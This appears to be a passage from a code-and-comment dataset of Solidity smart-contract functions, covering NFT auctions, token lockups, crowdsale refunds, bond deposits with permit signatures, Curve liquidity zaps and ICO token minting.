address\r\n */", "function_code": "function changeTDeployerAddress(address _newTD) external onlyOwner {\r\n require(block.number < 8850000, \"Time expired!\");\r\n require(_newTD != address(0), \"Address not suitable!\");\r\n require(_newTD != TDAddress, \"AT factory address not changed!\");\r\n TDAddress = _newTD;\r\n deployerT = ITDeployer(TDAddress);\r\n emit TFactoryAddressChanged();\r\n }", "version": "0.5.2"} {"comment": "/**\r\n * @dev change Funding Panel deployer address\r\n * @param _newFPD new FP deployer address\r\n */", "function_code": "function changeFPDeployerAddress(address _newFPD) external onlyOwner {\r\n require(block.number < 8850000, \"Time expired!\");\r\n require(_newFPD != address(0), \"Address not suitable!\");\r\n require(_newFPD != ATDAddress, \"AT factory address not changed!\");\r\n FPDAddress = _newFPD;\r\n deployerFP = IFPDeployer(FPDAddress);\r\n emit FPFactoryAddressChanged();\r\n }", "version": "0.5.2"} {"comment": "/**\r\n * @dev set internal DEX address\r\n * @param _dexAddress internal DEX address\r\n */", "function_code": "function setInternalDEXAddress(address _dexAddress) external onlyOwner {\r\n require(block.number < 8850000, \"Time expired!\");\r\n require(_dexAddress != address(0), \"Address not suitable!\");\r\n require(_dexAddress != internalDEXAddress, \"AT factory address not changed!\");\r\n internalDEXAddress = _dexAddress;\r\n emit InternalDEXAddressChanged();\r\n }", "version": "0.5.2"} {"comment": "/**\r\n * @dev getSaleData : SaleData Return\r\n */", "function_code": "function getSaleData(uint256 id) external view \r\n returns (\r\n address \r\n ,bool\r\n ,uint256\r\n ,uint256\r\n ,address\r\n ,uint256\r\n ,uint256\r\n ,address\r\n ,uint256\r\n ,uint256\r\n ,bool\r\n ,bool \r\n ) { \r\n SaleData memory sd = _sales[id];\r\n return (\r\n sd.seller \r\n ,sd.isAuction\r\n ,sd.nftId\r\n ,sd.volume\r\n ,sd.erc20\r\n ,sd.price\r\n ,sd.bid\r\n ,sd.buyer\r\n ,sd.start\r\n ,sd.end\r\n ,sd.isCanceled\r\n ,sd.isSettled\r\n );\r\n }", "version": "0.7.6"} {"comment": "/// @dev Adds an auction to the list of open auctions. Also fires the\n/// AuctionCreated event.\n/// @param _tokenId The ID of the token to be put on auction.\n/// @param _auction Auction to add.", "function_code": "function _addAuction(address _nft, uint256 _tokenId, Auction _auction) internal {\r\n // Require that all auctions have a duration of\r\n // at least one minute. (Keeps our math from getting hairy!)\r\n require(_auction.duration >= 1 minutes);\r\n\r\n nftToTokenIdToAuction[_nft][_tokenId] = _auction;\r\n \r\n AuctionCreated(\r\n address(_nft),\r\n uint256(_tokenId),\r\n uint256(_auction.startingPrice),\r\n uint256(_auction.endingPrice),\r\n uint256(_auction.duration)\r\n );\r\n }", "version": "0.4.20"} {"comment": "/// @dev Returns current price of an NFT on auction. Broken into two\n/// functions (this one, that computes the duration from the auction\n/// structure, and the other that does the price computation) so we\n/// can easily test that the price computation works correctly.", "function_code": "function _currentPrice(Auction storage _auction)\r\n internal\r\n view\r\n returns (uint256)\r\n {\r\n uint256 secondsPassed = 0;\r\n \r\n // A bit of insurance against negative values (or wraparound).\r\n // Probably not necessary (since Ethereum guarnatees that the\r\n // now variable doesn't ever go backwards).\r\n if (now > _auction.startedAt) {\r\n secondsPassed = now - _auction.startedAt;\r\n }\r\n\r\n return _computeCurrentPrice(\r\n _auction.startingPrice,\r\n _auction.endingPrice,\r\n _auction.duration,\r\n secondsPassed\r\n );\r\n }", "version": "0.4.20"} {"comment": "/// @dev Computes owner's cut of a sale.\n/// @param _price - Sale price of NFT.", "function_code": "function _computeCut(uint256 _price) internal view returns (uint256) {\r\n // NOTE: We don't use SafeMath (or similar) in this function because\r\n // all of our entry functions carefully cap the maximum values for\r\n // currency (at 128-bits), and ownerCut <= 10000 (see the require()\r\n // statement in the ClockAuction constructor). The result of this\r\n // function is always guaranteed to be <= _price.\r\n return _price * ownerCut / 10000;\r\n }", "version": "0.4.20"} {"comment": "/// @dev Creates and begins a new auction.\n/// @param _nftAddress - address of a deployed contract implementing\n/// the Nonfungible Interface.\n/// @param _tokenId - ID of token to auction, sender must be owner.\n/// @param _startingPrice - Price of item (in wei) at beginning of auction.\n/// @param _endingPrice - Price of item (in wei) at end of auction.\n/// @param _duration - Length of time to move between starting\n/// price and ending price (in seconds).\n/// @param _seller - Seller, if not the message sender", "function_code": "function createAuction(\r\n address _nftAddress,\r\n uint256 _tokenId,\r\n uint256 _startingPrice,\r\n uint256 _endingPrice,\r\n uint256 _duration,\r\n address _seller\r\n )\r\n public\r\n whenNotPaused\r\n canBeStoredWith128Bits(_startingPrice)\r\n canBeStoredWith128Bits(_endingPrice)\r\n canBeStoredWith64Bits(_duration)\r\n {\r\n require(_owns(_nftAddress, msg.sender, _tokenId));\r\n _escrow(_nftAddress, msg.sender, _tokenId);\r\n Auction memory auction = Auction(\r\n _nftAddress,\r\n _seller,\r\n uint128(_startingPrice),\r\n uint128(_endingPrice),\r\n uint64(_duration),\r\n uint64(now)\r\n );\r\n _addAuction(_nftAddress, _tokenId, auction);\r\n }", "version": "0.4.20"} {"comment": "/// @dev Returns auction info for an NFT on auction.\n/// @param _nftAddress - Address of the NFT.\n/// @param _tokenId - ID of NFT on auction.", "function_code": "function getAuction(address _nftAddress, uint256 _tokenId)\r\n public\r\n view\r\n returns\r\n (\r\n address seller,\r\n uint256 startingPrice,\r\n uint256 endingPrice,\r\n uint256 duration,\r\n uint256 startedAt\r\n ) {\r\n Auction storage auction = nftToTokenIdToAuction[_nftAddress][_tokenId];\r\n require(_isOnAuction(auction));\r\n return (\r\n auction.seller,\r\n auction.startingPrice,\r\n auction.endingPrice,\r\n auction.duration,\r\n auction.startedAt\r\n );\r\n }", "version": "0.4.20"} {"comment": "/// @dev Creates and begins a new auction.\n/// @param _nftAddress - The address of the NFT.\n/// @param _tokenId - ID of token to auction, sender must be owner.\n/// @param _startingPrice - Price of item (in wei) at beginning of auction.\n/// @param _endingPrice - Price of item (in wei) at end of auction.\n/// @param _duration - Length of auction (in seconds).", "function_code": "function createAuction(\r\n address _nftAddress,\r\n uint256 _tokenId,\r\n uint256 _startingPrice,\r\n uint256 _endingPrice,\r\n uint256 _duration\r\n )\r\n public\r\n canBeStoredWith128Bits(_startingPrice)\r\n canBeStoredWith128Bits(_endingPrice)\r\n canBeStoredWith64Bits(_duration)\r\n {\r\n address seller = msg.sender;\r\n _escrow(_nftAddress, seller, _tokenId);\r\n Auction memory auction = Auction(\r\n _nftAddress,\r\n seller,\r\n uint128(_startingPrice),\r\n uint128(_endingPrice),\r\n uint64(_duration),\r\n uint64(now)\r\n );\r\n _addAuction(_nftAddress, _tokenId, auction);\r\n }", "version": "0.4.20"} {"comment": "/**\r\n * @dev deploy a new set of contracts for the Panel, with all params needed by contracts. Set the minter address for Token contract,\r\n * Owner is set as a manager in WL, Funding and FundsUnlocker, DEX is whitelisted\r\n * @param _name name of the token to be deployed\r\n * @param _symbol symbol of the token to be deployed\r\n * @param _setDocURL URL of the document describing the Panel\r\n * @param _setDocHash hash of the document describing the Panel\r\n * @param _exchRateSeed exchange rate between SEED tokens received and tokens given to the SEED sender (multiply by 10^_exchRateDecim)\r\n * @param _exchRateOnTop exchange rate between SEED token received and tokens minted on top (multiply by 10^_exchRateDecim)\r\n * @param _seedMaxSupply max supply of SEED tokens accepted by this contract\r\n * @param _WLAnonymThr max anonym threshold\r\n */", "function_code": "function deployPanelContracts(string memory _name, string memory _symbol, string memory _setDocURL, bytes32 _setDocHash,\r\n uint256 _exchRateSeed, uint256 _exchRateOnTop, uint256 _seedMaxSupply, uint256 _WLAnonymThr) public {\r\n address sender = msg.sender;\r\n\r\n require(sender != address(0), \"Sender Address is zero\");\r\n require(internalDEXAddress != address(0), \"Internal DEX Address is zero\");\r\n\r\n deployers[sender] = true;\r\n deployerList.push(sender);\r\n deployerLength = deployerList.length;\r\n\r\n address newAT = deployerAT.newAdminTools(_WLAnonymThr);\r\n ATContracts[newAT] = true;\r\n ATContractsList.push(newAT);\r\n address newT = deployerT.newToken(sender, _name, _symbol, newAT);\r\n TContracts[newT] = true;\r\n TContractsList.push(newT);\r\n address newFP = deployerFP.newFundingPanel(sender, _setDocURL, _setDocHash, _exchRateSeed, _exchRateOnTop,\r\n seedAddress, _seedMaxSupply, newT, newAT, (deployerLength-1));\r\n FPContracts[newFP] = true;\r\n FPContractsList.push(newFP);\r\n\r\n IAdminTools ATBrandNew = IAdminTools(newAT);\r\n ATBrandNew.setFFPAddresses(address(this), newFP);\r\n ATBrandNew.setMinterAddress(newFP);\r\n ATBrandNew.addWLManagers(address(this));\r\n ATBrandNew.addWLManagers(sender);\r\n ATBrandNew.addFundingManagers(sender);\r\n ATBrandNew.addFundsUnlockerManagers(sender);\r\n ATBrandNew.setWalletOnTopAddress(sender);\r\n\r\n uint256 dexMaxAmnt = _exchRateSeed.mul(300000000); //Seed total supply\r\n ATBrandNew.addToWhitelist(internalDEXAddress, dexMaxAmnt);\r\n\r\n uint256 onTopMaxAmnt = _seedMaxSupply.mul(_exchRateSeed).div(10**18);\r\n ATBrandNew.addToWhitelist(sender, onTopMaxAmnt);\r\n\r\n ATBrandNew.removeWLManagers(address(this));\r\n\r\n Ownable customOwnable = Ownable(newAT);\r\n customOwnable.transferOwnership(sender);\r\n\r\n emit NewPanelCreated(sender, newAT, newT, newFP, deployerLength);\r\n }", "version": "0.5.2"} {"comment": "// tokenURI(): returns a URL to an ERC-721 standard JSON file\n//", "function_code": "function tokenURI(uint256 _tokenId)\r\n public\r\n view\r\n validPointId(_tokenId)\r\n returns (string _tokenURI)\r\n {\r\n _tokenURI = \"https://azimuth.network/erc721/0000000000.json\";\r\n bytes memory _tokenURIBytes = bytes(_tokenURI);\r\n _tokenURIBytes[31] = byte(48+(_tokenId / 1000000000) % 10);\r\n _tokenURIBytes[32] = byte(48+(_tokenId / 100000000) % 10);\r\n _tokenURIBytes[33] = byte(48+(_tokenId / 10000000) % 10);\r\n _tokenURIBytes[34] = byte(48+(_tokenId / 1000000) % 10);\r\n _tokenURIBytes[35] = byte(48+(_tokenId / 100000) % 10);\r\n _tokenURIBytes[36] = byte(48+(_tokenId / 10000) % 10);\r\n _tokenURIBytes[37] = byte(48+(_tokenId / 1000) % 10);\r\n _tokenURIBytes[38] = byte(48+(_tokenId / 100) % 10);\r\n _tokenURIBytes[39] = byte(48+(_tokenId / 10) % 10);\r\n _tokenURIBytes[40] = byte(48+(_tokenId / 1) % 10);\r\n }", "version": "0.4.24"} {"comment": "//\n// Point rules\n//\n// getSpawnLimit(): returns the total number of children the _point\n// is allowed to spawn at _time.\n//", "function_code": "function getSpawnLimit(uint32 _point, uint256 _time)\r\n public\r\n view\r\n returns (uint32 limit)\r\n {\r\n Azimuth.Size size = azimuth.getPointSize(_point);\r\n\r\n if ( size == Azimuth.Size.Galaxy )\r\n {\r\n return 255;\r\n }\r\n else if ( size == Azimuth.Size.Star )\r\n {\r\n // in 2019, stars may spawn at most 1024 planets. this limit doubles\r\n // for every subsequent year.\r\n //\r\n // Note: 1546300800 corresponds to 2019-01-01\r\n //\r\n uint256 yearsSince2019 = (_time - 1546300800) / 365 days;\r\n if (yearsSince2019 < 6)\r\n {\r\n limit = uint32( 1024 * (2 ** yearsSince2019) );\r\n }\r\n else\r\n {\r\n limit = 65535;\r\n }\r\n return limit;\r\n }\r\n else // size == Azimuth.Size.Planet\r\n {\r\n // planets can create moons, but moons aren't on the chain\r\n //\r\n return 0;\r\n }\r\n }", "version": "0.4.24"} {"comment": "// Retrieve amount from unused lockBoxes", "function_code": "function withdrawUnusedYield(uint256 lockBoxNumber) public onlyOwner {\r\n // Check for deposit time end\r\n require(now > endDepositTime, \"Deposit still possible.\");\r\n \r\n LockBoxStruct storage l = lockBoxStructs[lockBoxNumber];\r\n \r\n // Check for non-deposition of tokens\r\n require(l.tokensDeposited == false, \"Tokens were deposited, active lockbox!\");\r\n uint256 amount = l.balance;\r\n l.balance = 0;\r\n require(token.transfer(yieldWallet, amount), \"Tokens cannot be transferred.\");\r\n }", "version": "0.5.12"} {"comment": "// setTransferProxy(): give _transferProxy the right to transfer _point\n//\n// Requirements:\n// - :msg.sender must be either _point's current owner,\n// or be an operator for the current owner\n//", "function_code": "function setTransferProxy(uint32 _point, address _transferProxy)\r\n public\r\n {\r\n // owner: owner of _point\r\n //\r\n address owner = azimuth.getOwner(_point);\r\n\r\n // caller must be :owner, or an operator designated by the owner.\r\n //\r\n require((owner == msg.sender) || azimuth.isOperator(owner, msg.sender));\r\n\r\n // set transfer proxy field in Azimuth contract\r\n //\r\n azimuth.setTransferProxy(_point, _transferProxy);\r\n\r\n // emit Approval event\r\n //\r\n emit Approval(owner, _transferProxy, uint256(_point));\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Redeem user mintable tokens. Only the mining contract can redeem tokens.\r\n * @param to The user that will receive the redeemed token. \r\n * @param amount The amount of tokens to be withdrawn\r\n * @return The result of the redeem\r\n */", "function_code": "function redeem(address to, uint256 amount) external returns (bool success) {\r\n require(msg.sender == mintableAddress); \r\n require(_isIssuable == true);\r\n require(amount > 0);\r\n\r\n // The total amount of redeem tokens to the user.\r\n _amountRedeem[to] += amount;\r\n\r\n // Mint new tokens and send the funds to the account `mintableAddress`\r\n // Users can withdraw funds.\r\n mintToken(mintableAddress, amount);\r\n\r\n return true;\r\n }", "version": "0.5.16"} {"comment": "/**\r\n * @dev The user can withdraw his minted tokens.\r\n * @param amount The amount of tokens to be withdrawn\r\n * @return The result of the withdraw\r\n */", "function_code": "function withdraw(uint256 amount) public returns (bool success) {\r\n require(_isIssuable == true);\r\n\r\n // Safety check\r\n require(amount > 0); \r\n require(amount <= _amountRedeem[msg.sender]);\r\n require(amount >= MIN_WITHDRAW_AMOUNT);\r\n\r\n // Transfer the amount of tokens in the mining contract `mintableAddress` to the user account\r\n require(balances[mintableAddress] >= amount);\r\n\r\n // The balance of the user redeemed tokens.\r\n _amountRedeem[msg.sender] -= amount;\r\n\r\n // Keep track of the tokens minted by the user.\r\n _amountMinted[msg.sender] += amount;\r\n\r\n balances[mintableAddress] -= amount;\r\n balances[msg.sender] += amount;\r\n \r\n emit Transfer(mintableAddress, msg.sender, amount);\r\n return true; \r\n }", "version": "0.5.16"} {"comment": "// ------------------------------------------------------------------------\n// Transfer the balance from token owner's account to `to` account\n// - Owner's account must have sufficient balance to transfer\n// - Zero value transfers are allowed\n// - takes in locking Period to lock the tokens to be used\n// - if want to transfer without locking enter zero in lockingPeriod argument \n// ------------------------------------------------------------------------", "function_code": "function distributeTokens(address to, uint tokens, uint256 lockingPeriod) onlyOwner public returns (bool success) {\r\n // transfer tokens to the \"to\" address\r\n transfer(to, tokens);\r\n // if there is no lockingPeriod, add coins to unLockedCoins per address\r\n if(lockingPeriod == 0)\r\n unLockedCoins[to] = unLockedCoins[to].add(tokens);\r\n // if there is a lockingPeriod, add coins to record mapping\r\n else\r\n _addRecord(to, tokens, lockingPeriod);\r\n return true;\r\n }", "version": "0.5.4"} {"comment": "// ------------------------------------------------------------------------\n// Checks if there is any uunLockedCoins available\n// ------------------------------------------------------------------------", "function_code": "function _updateUnLockedCoins(address _from, uint tokens) private returns (bool success) {\r\n // if unLockedCoins are greater than \"tokens\" of \"to\", initiate transfer\r\n if(unLockedCoins[_from] >= tokens){\r\n return true;\r\n }\r\n // if unLockedCoins are less than \"tokens\" of \"to\", update unLockedCoins by checking record with \"now\" time\r\n else{\r\n _updateRecord(_from);\r\n // check if unLockedCoins are greater than \"token\" of \"to\", initiate transfer\r\n if(unLockedCoins[_from] >= tokens){\r\n return true;\r\n }\r\n // otherwise revert\r\n else{\r\n revert();\r\n }\r\n }\r\n }", "version": "0.5.4"} {"comment": "// ------------------------------------------------------------------------\n// Unlock the coins if lockingPeriod is expired\n// ------------------------------------------------------------------------", "function_code": "function _updateRecord(address _address) private returns (bool success){\r\n PC[] memory tempArray = record[_address];\r\n uint tempCount = 0;\r\n for(uint i=0; i < tempArray.length; i++){\r\n if(tempArray[i].lockingPeriod < now && tempArray[i].added == false){\r\n tempCount = tempCount.add(tempArray[i].coins);\r\n tempArray[i].added = true;\r\n record[_address][i] = PC(tempArray[i].lockingPeriod, tempArray[i].coins, tempArray[i].added);\r\n }\r\n }\r\n unLockedCoins[_address] = unLockedCoins[_address].add(tempCount);\r\n return true;\r\n }", "version": "0.5.4"} {"comment": "// Update the given pool's TOKEN allocation point and deposit fee. Can only be called by the owner.", "function_code": "function set(uint256 _pid, uint256 _allocPoint, uint16 _depositFeeBP, uint256 totalMaxRewardToken, bool _withUpdate)\r\n public\r\n onlyOwner\r\n {\r\n require(_depositFeeBP <= 10000, \"set: invalid deposit fee basis points\");\r\n\r\n if (_withUpdate) {\r\n massUpdatePools();\r\n }\r\n\r\n require(poolInfo[_pid].totalRewardTokens <= totalMaxRewardToken, \"set: totalMaxRewardToken is invalid\");\r\n\r\n totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint);\r\n\r\n poolInfo[_pid].allocPoint = _allocPoint;\r\n poolInfo[_pid].depositFeeBP = _depositFeeBP;\r\n poolInfo[_pid].totalMaxRewardTokens = totalMaxRewardToken;\r\n }", "version": "0.6.12"} {"comment": "//\n// Check crowdsale state and calibrate it\n//", "function_code": "function checkCrowdsaleState() internal returns (bool) {\r\n if (ethRaised >= maxCap && crowdsaleState != state.crowdsaleEnded) {// Check if max cap is reached\r\n crowdsaleState = state.crowdsaleEnded;\r\n CrowdsaleEnded(block.number);\r\n // Raise event\r\n return true;\r\n }\r\n\r\n if (now >= END_TIME) {\r\n crowdsaleState = state.crowdsaleEnded;\r\n CrowdsaleEnded(block.number);\r\n // Raise event\r\n return true;\r\n }\r\n\r\n if (now >= BEGIN_TIME && now < END_TIME) {// Check if we are in crowdsale state\r\n if (crowdsaleState != state.crowdsale) {// Check if state needs to be changed\r\n crowdsaleState = state.crowdsale;\r\n // Set new state\r\n CrowdsaleStarted(block.number);\r\n // Raise event\r\n return true;\r\n }\r\n }\r\n\r\n return false;\r\n }", "version": "0.4.18"} {"comment": "//\n// Owner can batch return contributors contributions(eth)\n//", "function_code": "function batchReturnEthIfFailed(uint _numberOfReturns) onlyOwner public {\r\n require(crowdsaleState != state.crowdsaleEnded);\r\n // Check if crowdsale has ended\r\n require(ethRaised < minCap);\r\n // Check if crowdsale has failed\r\n address currentParticipantAddress;\r\n uint contribution;\r\n for (uint cnt = 0; cnt < _numberOfReturns; cnt++) {\r\n currentParticipantAddress = contributorIndexes[nextContributorToClaim];\r\n // Get next unclaimed participant\r\n if (currentParticipantAddress == 0x0) return;\r\n // Check if all the participants were compensated\r\n if (!hasClaimedEthWhenFail[currentParticipantAddress]) {// Check if participant has already claimed\r\n contribution = contributorList[currentParticipantAddress].contributionAmount;\r\n // Get contribution of participant\r\n hasClaimedEthWhenFail[currentParticipantAddress] = true;\r\n // Set that he has claimed\r\n balances[currentParticipantAddress] = 0;\r\n if (!currentParticipantAddress.send(contribution)) {// Refund eth\r\n ErrorSendingETH(currentParticipantAddress, contribution);\r\n // If there is an issue raise event for manual recovery\r\n }\r\n }\r\n nextContributorToClaim += 1;\r\n // Repeat\r\n }\r\n }", "version": "0.4.18"} {"comment": "// Parking off ", "function_code": "function parkingOff (address node) public {\r\n if (!parkingSwitches[msg.sender].initialized) revert();\r\n\r\n // Calculate the amount depending on rate\r\n uint256 amount = (now - parkingSwitches[msg.sender].startTime) * parkingSwitches[msg.sender].fixedRate;\r\n // Maximum can be predefinedAmount, if it less than that, return tokens\r\n amount = amount > parkingSwitches[msg.sender].predefinedAmount ? parkingSwitches[msg.sender].predefinedAmount : amount;\r\n\r\n balances[node] = balances[node] + amount;\r\n reservedFundsParking[msg.sender] = reservedFundsParking[msg.sender] - amount;\r\n\r\n // \r\n if (reservedFundsParking[msg.sender] > 0) {\r\n balances[msg.sender] = balances[msg.sender] + reservedFundsParking[msg.sender];\r\n // all tokens taken, set to 0\r\n reservedFundsParking[msg.sender] = 0;\r\n }\r\n\r\n // Uninitialize\r\n parkingSwitches[msg.sender].node = 0;\r\n parkingSwitches[msg.sender].startTime = 0;\r\n parkingSwitches[msg.sender].endTime = 0;\r\n parkingSwitches[msg.sender].fixedRate = 0;\r\n parkingSwitches[msg.sender].initialized = false;\r\n parkingSwitches[msg.sender].predefinedAmount = 0;\r\n }", "version": "0.4.18"} {"comment": "/**\n * @notice Create a bond by depositing `amount` of `principal`.\n * Principal will be transferred from `msg.sender` using `allowance`.\n * @param amount Amount of principal to deposit.\n * @param minAmountOut The minimum **SOLACE** or **xSOLACE** out.\n * @param depositor The bond recipient, default msg.sender.\n * @param stake True to stake, false to not stake.\n * @return payout The amount of SOLACE or xSOLACE in the bond.\n * @return bondID The ID of the newly created bond.\n */", "function_code": "function deposit(\n uint256 amount,\n uint256 minAmountOut,\n address depositor,\n bool stake\n ) external override returns (uint256 payout, uint256 bondID) {\n // pull tokens\n SafeERC20.safeTransferFrom(principal, msg.sender, address(this), amount);\n // accounting\n return _deposit(amount, minAmountOut, depositor, stake);\n }", "version": "0.8.6"} {"comment": "/**\n * @notice Create a bond by depositing `amount` of `principal`.\n * Principal will be transferred from `depositor` using `permit`.\n * Note that not all ERC20s have a permit function, in which case this function will revert.\n * @param amount Amount of principal to deposit.\n * @param minAmountOut The minimum **SOLACE** or **xSOLACE** out.\n * @param depositor The bond recipient, default msg.sender.\n * @param stake True to stake, false to not stake.\n * @param deadline Time the transaction must go through before.\n * @param v secp256k1 signature\n * @param r secp256k1 signature\n * @param s secp256k1 signature\n * @return payout The amount of SOLACE or xSOLACE in the bond.\n * @return bondID The ID of the newly created bond.\n */", "function_code": "function depositSigned(\n uint256 amount,\n uint256 minAmountOut,\n address depositor,\n bool stake,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external override returns (uint256 payout, uint256 bondID) {\n // permit\n IERC20Permit(address(principal)).permit(depositor, address(this), amount, deadline, v, r, s);\n // pull tokens\n SafeERC20.safeTransferFrom(principal, depositor, address(this), amount);\n // accounting\n return _deposit(amount, minAmountOut, depositor, stake);\n }", "version": "0.8.6"} {"comment": "/**\n * @notice Approve of a specific `tokenID` for spending by `spender` via signature.\n * @param spender The account that is being approved.\n * @param tokenID The ID of the token that is being approved for spending.\n * @param deadline The deadline timestamp by which the call must be mined for the approve to work.\n * @param v Must produce valid secp256k1 signature from the holder along with `r` and `s`.\n * @param r Must produce valid secp256k1 signature from the holder along with `v` and `s`.\n * @param s Must produce valid secp256k1 signature from the holder along with `r` and `v`.\n */", "function_code": "function permit(\n address spender,\n uint256 tokenID,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external override {\n require(_exists(tokenID), \"query for nonexistent token\");\n require(block.timestamp <= deadline, \"permit expired\");\n\n uint256 nonce = _nonces[tokenID]++; // get then increment\n bytes32 digest =\n keccak256(\n abi.encodePacked(\n \"\\x19\\x01\",\n DOMAIN_SEPARATOR(),\n keccak256(abi.encode(_PERMIT_TYPEHASH, spender, tokenID, nonce, deadline))\n )\n );\n address owner = ownerOf(tokenID);\n require(spender != owner, \"cannot permit to self\");\n\n if (Address.isContract(owner)) {\n require(IERC1271(owner).isValidSignature(digest, abi.encodePacked(r, s, v)) == 0x1626ba7e, \"unauthorized\");\n } else {\n address recoveredAddress = ecrecover(digest, v, r, s);\n require(recoveredAddress != address(0), \"invalid signature\");\n require(recoveredAddress == owner, \"unauthorized\");\n }\n\n _approve(spender, tokenID);\n }", "version": "0.8.6"} {"comment": "/**\n * @notice Lists all tokens.\n * Order not specified.\n * @dev This function is more useful off chain than on chain.\n * @return tokenIDs The list of token IDs.\n */", "function_code": "function listTokens() public view override returns (uint256[] memory tokenIDs) {\n uint256 tokenCount = totalSupply();\n tokenIDs = new uint256[](tokenCount);\n for(uint256 index = 0; index < tokenCount; index++) {\n tokenIDs[index] = tokenByIndex(index);\n }\n return tokenIDs;\n }", "version": "0.8.6"} {"comment": "/// @notice Makes permit calls indicated by a struct\n/// @param data the struct which has the permit calldata", "function_code": "function _permitCall(PermitData[] memory data) internal {\n // Make the permit call to the token in the data field using\n // the fields provided.\n if (data.length != 0) {\n // We make permit calls for each indicated call\n for (uint256 i = 0; i < data.length; i++) {\n data[i].tokenContract.permit(\n msg.sender,\n data[i].spender,\n data[i].amount,\n data[i].expiration,\n data[i].v,\n data[i].r,\n data[i].s\n );\n }\n }\n }", "version": "0.8.0"} {"comment": "/// @notice This function sets approvals on all ERC20 tokens.\n/// @param tokens An array of token addresses which are to be approved\n/// @param spenders An array of contract addresses, most likely curve and\n/// balancer pool addresses\n/// @param amounts An array of amounts for which at each index, the spender\n/// from the same index in the spenders array is approved to use the token\n/// at the equivalent index of the token array on behalf of this contract", "function_code": "function setApprovalsFor(\n address[] memory tokens,\n address[] memory spenders,\n uint256[] memory amounts\n ) external onlyAuthorized {\n require(tokens.length == spenders.length, \"Incorrect length\");\n require(tokens.length == amounts.length, \"Incorrect length\");\n for (uint256 i = 0; i < tokens.length; i++) {\n // Below call is to make sure that previous allowance shouldn't revert the transaction\n // It is just a safety pattern to use.\n IERC20(tokens[i]).safeApprove(spenders[i], uint256(0));\n IERC20(tokens[i]).safeApprove(spenders[i], amounts[i]);\n }\n }", "version": "0.8.0"} {"comment": "/// @notice Swaps an amount of curve LP tokens for a single root token\n/// @param _zap See ZapCurveLpOut\n/// @param _lpTokenAmount This is the amount of lpTokens we are swapping\n/// with\n/// @param _minRootTokenAmount This is the minimum amount of \"root\" tokens\n/// the user expects to swap for. Used only in the final zap when executed\n/// under zapOut\n/// @param _recipient The address which the outputs tokens are to be sent\n/// to. When there is a second zap to occur, in the first zap the recipient\n/// should be this address", "function_code": "function _zapCurveLpOut(\n ZapCurveLpOut memory _zap,\n uint256 _lpTokenAmount,\n uint256 _minRootTokenAmount,\n address payable _recipient\n ) internal returns (uint256 rootAmount) {\n // Flag to detect if we are sending to recipient\n bool transferToRecipient = address(this) != _recipient;\n uint256 beforeAmount = _zap.rootToken == _ETH_CONSTANT\n ? address(this).balance\n : _getBalanceOf(IERC20(_zap.rootToken));\n\n if (_zap.curveRemoveLiqFnIsUint256) {\n ICurvePool(_zap.curvePool).remove_liquidity_one_coin(\n _lpTokenAmount,\n uint256(int256(_zap.rootTokenIdx)),\n _minRootTokenAmount\n );\n } else {\n ICurvePool(_zap.curvePool).remove_liquidity_one_coin(\n _lpTokenAmount,\n _zap.rootTokenIdx,\n _minRootTokenAmount\n );\n }\n\n // ETH case\n if (_zap.rootToken == _ETH_CONSTANT) {\n // Get ETH balance of current contract\n rootAmount = address(this).balance - beforeAmount;\n // if address does not equal this contract we send funds to recipient\n if (transferToRecipient) {\n // Send rootAmount of ETH to the user-specified recipient\n _recipient.transfer(rootAmount);\n }\n } else {\n // Get balance of root token that was swapped\n rootAmount = _getBalanceOf(IERC20(_zap.rootToken)) - beforeAmount;\n // Send tokens to recipient\n if (transferToRecipient) {\n IERC20(_zap.rootToken).safeTransferFrom(\n address(this),\n _recipient,\n rootAmount\n );\n }\n }\n }", "version": "0.8.0"} {"comment": "/**\r\n * @notice token contructor.\r\n * @param _teamAddress is the address of the developer team\r\n */", "function_code": "function AssetUNR(address _teamAddress) public {\r\n require(msg.sender != _teamAddress);\r\n totalSupply = 100000000 * (10 ** decimals); //100 million tokens initial supply;\r\n balances[msg.sender] = 88000000 * (10 ** decimals); //88 million supply is initially holded by contract creator for the ICO, marketing and bounty\r\n balances[_teamAddress] = 11900000 * (10 ** decimals); //11.9 million supply is initially holded by developer team\r\n balances[0xFAB6368b0F7be60c573a6562d82469B5ED9e7eE6] = 100000 * (10 ** decimals); //0.1 million supply is initially holded by contract writer\r\n \r\n Transfer(0, this, totalSupply);\r\n Transfer(this, msg.sender, balances[msg.sender]);\r\n Transfer(this, _teamAddress, balances[_teamAddress]);\r\n Transfer(this, 0xFAB6368b0F7be60c573a6562d82469B5ED9e7eE6, balances[0xFAB6368b0F7be60c573a6562d82469B5ED9e7eE6]);\r\n }", "version": "0.4.19"} {"comment": "/**\r\n * @dev Contract constructor function\r\n */", "function_code": "function Play2liveICO(\r\n address _preSaleToken,\r\n address _Company,\r\n address _OperationsFund,\r\n address _FoundersFund,\r\n address _PartnersFund,\r\n address _AdvisorsFund,\r\n address _BountyFund,\r\n address _Manager,\r\n address _Controller_Address1,\r\n address _Controller_Address2,\r\n address _Controller_Address3,\r\n address _Oracle\r\n ) public {\r\n preSaleToken = Presale(_preSaleToken);\r\n Company = _Company;\r\n OperationsFund = _OperationsFund;\r\n FoundersFund = _FoundersFund;\r\n PartnersFund = _PartnersFund;\r\n AdvisorsFund = _AdvisorsFund;\r\n BountyFund = _BountyFund;\r\n Manager = _Manager;\r\n Controller_Address1 = _Controller_Address1;\r\n Controller_Address2 = _Controller_Address2;\r\n Controller_Address3 = _Controller_Address3;\r\n Oracle = _Oracle;\r\n }", "version": "0.4.20"} {"comment": "/**\r\n * @dev Function to finish ICO\r\n * Sets ICO status to IcoFinished and emits tokens for funds\r\n */", "function_code": "function finishIco() external managerOnly {\r\n require(statusICO == StatusICO.IcoStarted || statusICO == StatusICO.IcoPaused);\r\n uint alreadyMinted = LUC.totalSupply();\r\n uint totalAmount = alreadyMinted.mul(1000).div(publicIcoPart);\r\n LUC.mintTokens(OperationsFund, operationsPart.mul(totalAmount).div(1000));\r\n LUC.mintTokens(FoundersFund, foundersPart.mul(totalAmount).div(1000));\r\n LUC.mintTokens(PartnersFund, partnersPart.mul(totalAmount).div(1000));\r\n LUC.mintTokens(AdvisorsFund, advisorsPart.mul(totalAmount).div(1000));\r\n LUC.mintTokens(BountyFund, bountyPart.mul(totalAmount).div(1000));\r\n statusICO = StatusICO.IcoFinished;\r\n LogFinishICO();\r\n }", "version": "0.4.20"} 